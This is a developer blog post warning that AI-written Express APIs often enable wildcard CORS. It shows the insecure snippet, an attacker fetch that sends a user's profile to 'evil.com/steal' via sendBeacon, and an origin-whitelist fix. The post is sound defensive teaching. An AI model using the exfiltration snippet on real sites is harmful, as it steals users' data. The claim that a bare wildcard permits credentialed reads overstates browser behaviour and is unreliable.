Forem

Cover image for AI-Generated Backends Almost Always Get CORS Wrong
BusyAgents
BusyAgents

Posted on

AI-Generated Backends Almost Always Get CORS Wrong

TL;DR

  • AI editors output app.use(cors()) with zero config by default - that's a wildcard CORS policy
  • On unauthenticated public APIs this is fine. On anything with sessions or JWT auth, it's a credential theft vector
  • Three lines fix it, but you have to know to look

I was reviewing a Node.js API a friend built last month. Express backend, JWT auth, clean structure. The AI had written basically everything from scratch in a weekend. It worked perfectly. And buried in the middleware setup, six lines from the top:

app.use(cors()); // CWE-942
Enter fullscreen mode Exit fullscreen mode

No config. No options. Full wildcard. Any origin, including evil.com, could make credentialed cross-origin requests to that API.

I've seen this pattern dozens of times. Not from developers who don't know better. From fast-moving teams using AI editors to ship quickly. The AI writes code that passes every test and ships perfectly - but the security assumptions baked into that code are frequently from a different era.

The Vulnerable Pattern

Here's what AI editors produce when you ask for a basic Express API with CORS support:

const express = require('express');
const cors = require('cors');
const app = express();

app.use(cors()); // CWE-942: Wildcard CORS - accepts requests from ANY origin

app.get('/api/user/profile', authenticate, async (req, res) => {
  const user = await User.findById(req.userId);
  res.json(user);
});
Enter fullscreen mode Exit fullscreen mode

The cors() call with no arguments maps to Access-Control-Allow-Origin: *. When combined with cookies or Authorization headers, this becomes a direct attack vector.

An attacker hosting evil.com can write:

fetch('https://yourapi.com/api/user/profile', {
  credentials: 'include'
}).then(r => r.json()).then(data => {
  navigator.sendBeacon('https://evil.com/steal', JSON.stringify(data));
});
Enter fullscreen mode Exit fullscreen mode

If the user has an active session cookie, that request goes through. The response comes back. The data leaks.

Why AI Keeps Generating This

The training data for AI models is saturated with tutorial code and Stack Overflow answers written before the security implications of wildcard CORS were well understood. When you search "express cors setup", the top answers almost universally show app.use(cors()) with no configuration. Simple, clean, works immediately.

AI optimises for code that works and matches the style of what was most upvoted. Security edge cases don't show up in unit tests. They show up in incident reports.

There's also a subtlety: Access-Control-Allow-Origin: * is fine for public, read-only APIs. The problem surfaces when you add authentication. AI doesn't know whether your API will eventually be authenticated - it writes the simplest thing that satisfies the immediate request.

The Fix

Three lines:

app.use(cors({
  origin: process.env.ALLOWED_ORIGIN || 'https://yourfrontend.com',
  credentials: true
}));
Enter fullscreen mode Exit fullscreen mode

For multiple origins, use a whitelist function:

const allowedOrigins = (process.env.ALLOWED_ORIGINS || '').split(',');

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true
}));
Enter fullscreen mode Exit fullscreen mode

Put ALLOWED_ORIGINS=https://yourfrontend.com in your .env and update it per environment. That's the full fix.

If you're building a truly public API with no auth, keep the wildcard. But the moment you add sessions, cookies, or Authorization headers, lock it down.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags these patterns before I move on. That said, even a basic pre-commit hook with semgrep and gitleaks will catch most of what's in this post. The important thing is catching it early, whatever tool you use.

Top comments (0)